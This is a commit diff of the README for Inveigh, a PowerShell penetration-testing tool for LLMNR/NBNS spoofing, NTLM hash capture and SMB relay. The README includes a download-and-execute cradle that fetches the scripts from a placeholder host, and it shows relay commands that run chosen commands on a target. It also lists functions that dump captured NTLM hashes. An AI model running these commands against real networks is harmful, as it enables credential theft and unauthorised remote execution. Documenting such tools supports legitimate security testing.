aboutsummaryrefslogtreecommitdiff
path: root/README.md
diff options
context:
space:
mode:
authorKevin Robertson <robertsonk@gmail.com>2015-10-11 19:31:41 -0400
committerKevin Robertson <robertsonk@gmail.com>2015-10-11 19:31:41 -0400
commit8ab002602f672dddb91e27ff6bb7d5050771c688 (patch)
treee7d0a60aa86987a5040eb02dbadef2279aefdbfb /README.md
parentd8b913da072770436831f9ed9a6d648c885666f4 (diff)
downloadInveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.tar.gz
Inveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.zip
Moved SMB relay code to a dedicated script, also added psm1 and psd1 files.
The SMB relay code is now in Inveigh-Relay.ps1. The script can be used either through Invoke-Inveigh or as a standalone function.
Diffstat (limited to 'README.md')
-rw-r--r--README.md21
1 files changed, 15 insertions, 6 deletions
diff --git a/README.md b/README.md
index 9d7fc46..8a27fad 100644
--- a/README.md
+++ b/README.md
@@ -20,13 +20,19 @@ Tested minimums are PowerShell 2.0 and .NET 3.5
Obtain an elevated administrator or SYSTEM shell and use a method to load the module
To import with Import-Module:
+Import-Module ./Inveigh.psd1
+
+To import individual files with Import-Module
Import-Module ./Inveigh.ps1
+Import-Module ./Inveigh-Relay.ps1
-To import with dot source method:
+To import using dot source method:
. ./Inveigh.ps1
+. ./Inveigh-Relay.ps1
To load into memory using Invoke-Expression:
IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")
+IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1")
To execute with default settings:
Invoke-Inveigh
@@ -37,23 +43,26 @@ Import-Module ./Inveigh.ps1;Invoke-Inveigh
To execute with features enabled/disabled:
Invoke-Inveigh -IP 'local IP' -SpoofIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path'
-To execute with SMB relay enabled:
+To execute with SMB relay enabled through Invoke-Inveigh:
Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target"
+To execute with SMB relay with only Invoke-InveighRelay:
+Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target"
+
Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters
-# Cmdlets
+# Functions
Invoke-Inveigh - Start Inveigh with or without parameters
+Invoke-InveighRelay - SMB relay function
Get-Inveigh - Get queued console output
Get-InveighLog - Get log entries
Get-InveighNTLM - Get all captured challenge/response hashes
Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes
Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes
Get-InveighStats - Get captured challenge/response counts
-Get-InveighHelp - List the cmdlets
Watch-Inveigh - Enable real time console output
-Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists
-Stop-Inveigh - Stop Inveigh
+Clear-Inveigh - Clear Inveigh data from memory
+Stop-Inveigh - Stop all running Inveigh functions
# Screenshots
Invoke-Inveigh execution with real time console and file output enabled